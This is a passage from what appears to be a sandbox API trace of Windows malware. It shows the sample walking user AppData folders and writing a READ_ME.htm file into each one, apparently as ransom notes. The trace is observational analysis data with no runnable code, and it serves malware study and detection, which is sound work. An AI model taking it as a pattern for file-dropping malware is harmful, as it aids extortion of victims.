lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0149.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0149.328] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.328] SetErrorMode (uMode=0x0) returned 0x1 [0149.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x40 [0149.329] SetErrorMode (uMode=0x1) returned 0x0 [0149.329] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0149.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0 [0149.329] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.330] SetErrorMode (uMode=0x0) returned 0x1 [0149.330] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x40 [0149.330] SetErrorMode (uMode=0x1) returned 0x0 [0149.330] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0149.330] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 0 [0149.331] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.331] SetErrorMode (uMode=0x0) returned 0x1 [0149.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x44 [0149.331] SetErrorMode (uMode=0x1) returned 0x0 [0149.331] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0149.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0149.332] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.332] SetErrorMode (uMode=0x0) returned 0x1 [0149.332] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk", lpFilePart=0x0) returned 0x44 [0149.332] SetErrorMode (uMode=0x1) returned 0x0 [0149.332] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0149.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0149.333] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.333] SetErrorMode (uMode=0x0) returned 0x1 [0149.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4f [0149.333] SetErrorMode (uMode=0x1) returned 0x0 [0149.334] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0149.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0149.334] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.334] SetErrorMode (uMode=0x0) returned 0x1 [0149.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk", lpFilePart=0x0) returned 0x4f [0149.335] SetErrorMode (uMode=0x1) returned 0x0 [0149.335] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0149.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82d9eea0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x82d9eea0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x82d9eea0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0149.335] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.336] SetErrorMode (uMode=0x0) returned 0x1 [0149.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0149.336] SetErrorMode (uMode=0x1) returned 0x0 [0149.336] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.337] SetErrorMode (uMode=0x0) returned 0x1 [0149.337] GetFileType (hFile=0x1d0) returned 0x1 [0149.337] WriteFile (in: hFile=0x1d0, lpBuffer=0x29065b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x29065b0*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0149.339] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0149.339] SetErrorMode (uMode=0x1) returned 0x0 [0149.340] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.340] SetErrorMode (uMode=0x0) returned 0x1 [0149.340] GetFileType (hFile=0x1d0) returned 0x1 [0149.340] WriteFile (in: hFile=0x1d0, lpBuffer=0x290abc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x290abc0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0149.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\READ_ME.htm", lpFilePart=0x0) returned 0x4c [0149.342] SetErrorMode (uMode=0x1) returned 0x0 [0149.343] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\Connections\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\connections\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.345] SetErrorMode (uMode=0x0) returned 0x1 [0149.345] GetFileType (hFile=0x1d0) returned 0x1 [0149.345] WriteFile (in: hFile=0x1d0, lpBuffer=0x290f1c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x290f1c0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0149.346] SetErrorMode (uMode=0x1) returned 0x0 [0149.347] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Network\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\network\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.347] SetErrorMode (uMode=0x0) returned 0x1 [0149.347] GetFileType (hFile=0x1d0) returned 0x1 [0149.347] WriteFile (in: hFile=0x1d0, lpBuffer=0x2913790*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2913790*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office", lpFilePart=0x0) returned 0x33 [0149.349] SetErrorMode (uMode=0x1) returned 0x0 [0149.349] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\office\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.350] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28666ef0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b32ecd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b32ecd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2868d050, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2868d050, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2868d050, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0149.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2b413510, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0149.351] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2b32ecd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2b413510, 